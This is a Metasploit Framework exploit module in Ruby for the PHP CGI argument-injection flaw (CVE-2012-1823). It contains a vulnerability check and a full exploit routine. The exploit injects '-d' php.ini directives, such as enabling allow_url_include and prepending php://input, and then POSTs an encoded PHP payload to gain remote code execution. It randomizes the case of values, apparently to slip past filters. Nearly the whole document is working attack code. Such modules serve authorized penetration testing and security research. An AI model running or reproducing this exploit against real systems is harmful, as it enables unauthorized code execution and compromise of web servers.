PHP CGI Argument Injection

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'PHP CGI Argument Injection',  
'Description' => %q{  
When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to  
an argument injection vulnerability. This module takes advantage of  
the -d flag to set php.ini directives to achieve code execution.  
From the advisory: "if there is NO unescaped '=' in the query string,  
the string is split on '+' (encoded space) characters, urldecoded,  
passed to a function that escapes shell metacharacters (the "encoded in  
a system-defined manner" from the RFC) and then passes them to the CGI  
binary."  
},  
'Author' => [ 'egypt', 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' => [  
[ 'CVE' , '2012-1823' ],  
[ 'OSVDB', '81633'],  
[ 'URL' , 'http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/' ],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
# Arbitrary big number. The payload gets sent as an HTTP  
# response body, so really it's unlimited  
'Space' => 262144, # 256k  
},  
'DisclosureDate' => 'May 03 2012',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'DefaultTarget' => 0))  
  
register_options([  
OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]),  
], self.class)  
end  
  
# php-cgi -h  
# ...  
# -s Display colour syntax highlighted source.  
def check  
uri = target_uri.path  
  
uri.gsub!(/\?.*/, "")  
  
print_status("Checking uri #{uri}")  
  
response = send_request_raw({ 'uri' => uri })  
  
if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi  
print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")  
return Exploit::CheckCode::Unknown  
end  
  
response = send_request_raw({ 'uri' => uri + '?-s'})  
if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi  
return Exploit::CheckCode::Vulnerable  
end  
  
print_error("Server responded indicating it was not vulnerable")  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
begin  
args = [  
"-d+allow_url_include%3d#{rand_php_ini_true}",  
"-d+safe_mode%3d#{rand_php_ini_false}",  
"-d+suhosin.simulation%3d#{rand_php_ini_true}",  
"-d+disable_functions%3d%22%22",  
"-d+open_basedir%3dnone",  
"-d+auto_prepend_file%3dphp://input",  
"-n"  
]  
  
qs = args.join("+")  
uri = "#{target_uri}?#{qs}"  
  
# Has to be all on one line, so gsub out the comments and the newlines  
payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")  
response = send_request_cgi( {  
'method' => "POST",  
'global' => true,  
'uri' => uri,  
'data' => payload_oneline,  
}, 0.5)  
handler  
  
rescue ::Interrupt  
raise $!  
rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused  
print_error("The target service unreachable")  
rescue ::OpenSSL::SSL::SSLError  
print_error("The target failed to negotiate SSL, is this really an SSL service?")  
end  
  
end  
  
def rand_php_ini_false  
Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)])  
end  
  
def rand_php_ini_true  
Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)])  
end  
  
end  
`